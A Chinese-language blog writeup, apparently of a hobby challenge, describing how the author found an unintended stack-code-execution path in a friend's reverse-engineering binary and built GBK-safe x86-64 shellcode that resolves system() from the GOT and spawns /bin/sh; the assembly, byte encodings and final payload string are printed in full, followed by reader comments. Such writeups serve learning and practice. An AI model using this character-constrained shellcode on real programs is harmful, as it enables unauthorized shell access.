Menci's nuclear PWN writeup
这其实是一个闲着无聊不按照原题套路出牌的一个Writeup.
这个事情是这样的, 昨天Menci表示自己写了个linux下的小逆向题目, 想要发过来让我玩一玩:

我觉得好呀好呀, 刚好没有事情做, 那就来玩一玩咯ww~
于是爽快的接收了这个文件:

接下来就是漫长的逆向时间……不过这里虽然把Menci的这个nuclear全部解出来了, 但这不是这个文章的重点.
重点是这个小程序里面居然有点意外收获……?
任意代码执行?
当做到位于第5题"hothothot"的时候, 居然意外的发现这里有一个任意代码执行, 好像还是故意弄出来的.
我们先来看一下代码ww

这段代码其实很好理解的, 大致功能就是先加一个sigsegv/sigill/sigfpe的handler, 然后将输入的内容使用iconv从utf-8转换到gbk, 转换好的结果写入到rsp中的0x80个空间当中(这个位置反推成c语言的话大概应该是函数局部变量的char result[0x80]数组).
然后关键来了...
下面的那个hothothot_cold本质是mov rax, rsp; jmp rax……
居然直接跳过去执行了……wtf?
非预期解题
之后我跑过去问了Menci本人, Menci表示其实这个位置本来是利用初始化的时候加的sigtrap handler来过关, Menci表示这里本来不是让我们搞任意代码执行的……
这……看来这次要玩非预期解题咯?
这一题的答案固然不重要, 既然这里是直接跳过去执行输入的内容, 那直接就变成了堆栈执行问题了.
好了, 接下来重点来了ww~
分析需求
既然是要pwn, 那当然是以getshell为目的嘛, 也就是构造一段代码, 劫持程序, 让程序去执行/bin/sh.
那我们先来梳理一下Menci做了什么, 以及我们的思路:

通过这段代码我们能看出来, 实际上可以被任意执行的代码, 刚好就是iconv编码转换的输出结果.
因为这里的iconv的输入是utf-8, 输出结果是gbk, 也就是说我们得构造一组汇编代码, 这组汇编代码刚好符合gbk的编码规范.
换句话说, payload当中即不能有00和FF这样的非法字符, 也不能出现gbk码表中无法解析的字符.
这就有点难了, 我们得想办法凑一凑汇编, 规避一下非法字符的问题, 保证iconv可以正常转码出我们预期的结果.
GBK编码
首先是GBK编码的问题. 虽然我们平常写代码的时候几乎不会主动把编码设置成GBK, 但是这里既然遇到了, 我们就必须要知道GBK的编码规范是什么.
其中这里有一个传送门, 快速介绍了GBK的码表格式: 传送门
通过GBK的编码格式可以看出来, GBK是固定两个字节一组的编码. 至于我们能用的组合嘛, 无外乎如下几种:
A1–A9 A1–FE
B0–F7 A1–FE
81–A0 40–FE (第二个字节不能有7F)
AA–FE 40–A0 (第二个字节不能有7F)
A8–A9 40–A0 (第二个字节不能有7F)
也就是说除了ascii当中的可见字符之外, 以及在这个表里面的GBK字符之外, 其他的字节都是不能用的. 那这就非常麻烦了, 能输入的东西太少了. 毕竟汇编代码当中经常出现ascii不可见字符, 甚至是00字符.
我们必须用各种各样杂七杂八的代码来凑我们要的功能.
想办法得到system函数的地址
要执行/bin/sh, 那毫无疑问, 肯定要得到glibc当中的system函数的地址.

不幸的是, Menci的这个小程序并没有直接用到system函数……(能用到那才有问题
当然这难不倒咱们, 我们计算system函数和一个任意已知被用到的glibc函数的地址偏移, 不就能确定system函数的地址了么?
(虽然这个办法比较很挑glibc版本, 不同的版本偏移也会有差别, 但是已知glibc版本的情况下, 还是很好用的.
那我们先来看看got表……好像signal这个函数挺符合我们要求的:

这个程序没有开随机基址, 所以这个signal函数的地址就存放在0x402950的位置了, 可以直接硬编码读取这里来找到signal函数在glibc中的位置.
而这个0x402950也是由基本ascii字符构成, 比较符合我们的初始需求. 那就从这里做切入点吧.
(这里有一个非常好的工具要安利一下, 可以在线对x86和x64的汇编进行二进制和汇编语句之间的转换, 传送门: https://defuse.ca/online-x86-assembler.htm
嗯, 那么问题来了, 我们可以秒出第一条汇编了:
xor eax, eax ; 31 c0
mov eax, 0x402950 ; b8 50 29 40 00
好, 且慢, 这里就有问题了. 我们可以看到, 我们直接mov这个地址就根本行不通, 因为有一个00字节, 这是没办法输入到程序里面的.
这……那我们只能通过间接计算的方式来去掉这个00字节咯? 或许位运算是个不错的办法, 现在我们把代码稍作修改:
xor eax, eax ; 31 c0
mov eax, 0x40402950 ; b8 50 29 40 40 把最后换成了40, 这是个标准ascii码了
mov edi, 0x00FFFFFF ; BF FF FF FF 00
and eax, edi ; 21 F8
可是这样问题又来了. 通过手工补一个垃圾字节, 然后位运算过滤掉这个垃圾字节的方法理论可行, 但是位运算赋值的部分引入了3个FF字节, 以及一个00字节. 依旧是行不通. 怎么办呢?
其实我们知道位运算的本质是“与0清零, 与1不变”. 那么实际上这里的位运算不一定要清一色FF和00, 哪怕是稍微掺杂一些无关的0和1, 并不一定会改变计算结果.
于是我们继续稍加变通:
xor eax, eax ; 31 c0
mov eax, 0x40402950 ; b8 50 29 40 40 把最后换成了40, 这是个标准ascii码了
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
唔, 这样就好了. 即使是用0x30FEBFFE代替0x00FFFFFF去做位运算, 得到的结果其实是一样的. 但是0x30FEBFFE却是一个符合GBK编码要求的串.
现在我们的汇编代码是可以正常被汇编成符合GBK编码要求的字符串的, 而且解决了将signal这个got表项的值装入RAX寄存器的问题.
我们下一步的需求当然是从这个got表项当中读出signal函数的地址, 这样也就是得到了signal函数在glibc中对应函数的地址. 那我们继续写汇编:
xor eax, eax ; 31 c0
mov eax, 0x40402950 ; b8 50 29 40 40
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
mov rax, QWORD PTR [rax] ; 48 8b 00 取出RAX寄存器指向地址的内容
emmmmmm……理论上这样写就可以了. 但是这样一来又不对了, 从rax寄存器指向的地址读内容这条语句, 引入了一个00. 这是不符合要求的.
嗯……怎么办呢……
经过多次测试, 发现这样的语句是符合要求的:
mov rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
可以看到, 如果给rax寄存器加一个偏移的话, 其产生的字节码刚好就符合了GBK编码的要求, 不再含有无效字符.
那么我们可以在早期计算rax寄存器的值的时候, 人为的减去这个偏移, 到这里的时候加回来. 这样代码执行起来也是等价的:
xor eax, eax ; 31 c0
mov eax, 0x4040292E ; b8 2E 29 40 40 这里减去了0x22字节
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
mov rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
这样一来代码再次可以被正常编码为GBK字符串了.
我们先把到目前为止写的这段代码丢进去跑一遍, 观察执行效果:



嗯, 可以看到现在rax寄存器就是我们算出来的signal函数了. signal这个函数在glibc当中的定位有了, 那该看看system在哪了.

好了, 我们来算一算……偏移刚好是加上0xD540.
也就是说在我的这个libc当中, signal函数的地址加上0xD540, 刚好就是system函数.

计算system函数的地址
我们已经知道了signal函数的地址加上0xD540就可以定位到system函数了. 那我们继续写汇编:
xor eax, eax ; 31 c0
mov eax, 0x4040292E ; b8 2E 29 40 40
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
mov rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
add rax, 0xd540 ; 48 05 40 d5 00 00
道理我们都懂, 可是到这里之后直接就没戏了. add指令引入了一个0x05的字节, 还引入了两个0x00字节. 虽然后面的0x00字节可以用先前类似的办法规避, 但add指令引入的0x05却是没办法去掉了.
那, 没了加法指令, 那可怎么办……
唔, 这里要有个好消息, 减法指令却是没有这个问题的:
sub rax, 0xd540 ; 48 2d 40 d5 00 00
可见减法指令引入的0x2d刚好符合我们的要求, 而后面的00想办法规避一下就可以了.
但是如何变加法为减法呢? 简单呀, 弄个neg指令变成负数不就好了ww~ 负负得正(x
于是代码成了这样:
xor eax, eax ; 31 c0
mov eax, 0x4040292E ; b8 2E 29 40 40
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
mov rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
xor rdx, rdx ; 48 31 d2
mov dx, 0xd540 ; 66 ba 40 d5
neg rdx ; 48 f7 da
sub rax, rdx ; 48 29 d0
这样一来system函数的地址也被计算出来了:

传参和执行system函数
现在我们已经有了system函数的地址了, 接下来就是要传参和执行了.
传递参数非常简单, 无非就是让rdi指向我们要执行的系统命令即可, 也就是一个/bin/sh的字符串. 由于缓冲区还足够长, 我们可以直接把这个字符串放在最后面, 用一个lea指令取到指针指向即可.
但是执行system函数却遇到了麻烦.
通常来说, 我们一般会选择直接jmp rax的方式跳过去执行, 但是实际上却证明这是根本行不通的:
jmp rax ; ff e0
可以看到直接引入了一个0xff字节. 这个字节是无论怎么凑都凑不出来的……那这就很麻烦.
于是这里采用先push再ret的方法, 几乎等价于直接jmp.
最后的汇编代码如下:
xor eax, eax ; 31 c0
mov eax, 0x4040292E ; b8 2E 29 40 40
mov edi, 0x30FEBFFE ; BF FE BF FE 30
and eax, edi ; 21 F8
mov rax, QWORD PTR [rax+0x22] ; 48 8b 40 22
xor rdx, rdx ; 48 31 d2
mov dx, 0xd540 ; 66 ba 40 d5
neg rdx ; 48 f7 da
sub rax, rdx ; 48 29 d0
push rax ; 50
lea rdi, [rsp + 0x2F] ; 48 8d 7c 24 2F 指向汇编的结尾 也就是在结尾紧跟着/bin/sh就好了w
ret ; C3
我们把汇编全部整理并得到了这样一个GBK字符串:

而最后再用GBK的编码打开这个文件, 并顺手转编码为utf-8, 得到最终的payload:

1栏.)@@傀傀0!鳫婡"H1襢篅誋髭H)蠵H峾$/妹/bin/sh
嗯, 看上去就是个很恐怖的魔法www(
该放技能出去咯www
我们直接把这个payload丢到程序里面, 正如预期的, 程序弹出了/bin/sh的shell, pwn成功~

结语
这是一个比较有挑战的小pwn, 难点在于如何突破字符限制构造能够正确执行的汇编代码.
当然, 也非常感谢Menci提供了这么好玩的一个小reverse me, 也要感谢一下闺蜜Hwsasi和我一起研究里面的一些数学题目~

il,gf
vk. 2021-01-29 18:50
原来搞安全的看汇编就当玩儿似的,厉害厉害。
Switch的文章写的很棒,留个印儿。
了然如一 2021-01-14 12:49
厉害~~666
obaby 2021-01-05 10:48
好厉害啊!
KJ 2020-12-02 17:18
先啪 47
wa 2020-12-01 10:01
不愧是47姐姐,心得记录好详细qvq
夜空 2020-11-26 00:17
先啪47
Sanae 2020-11-02 17:18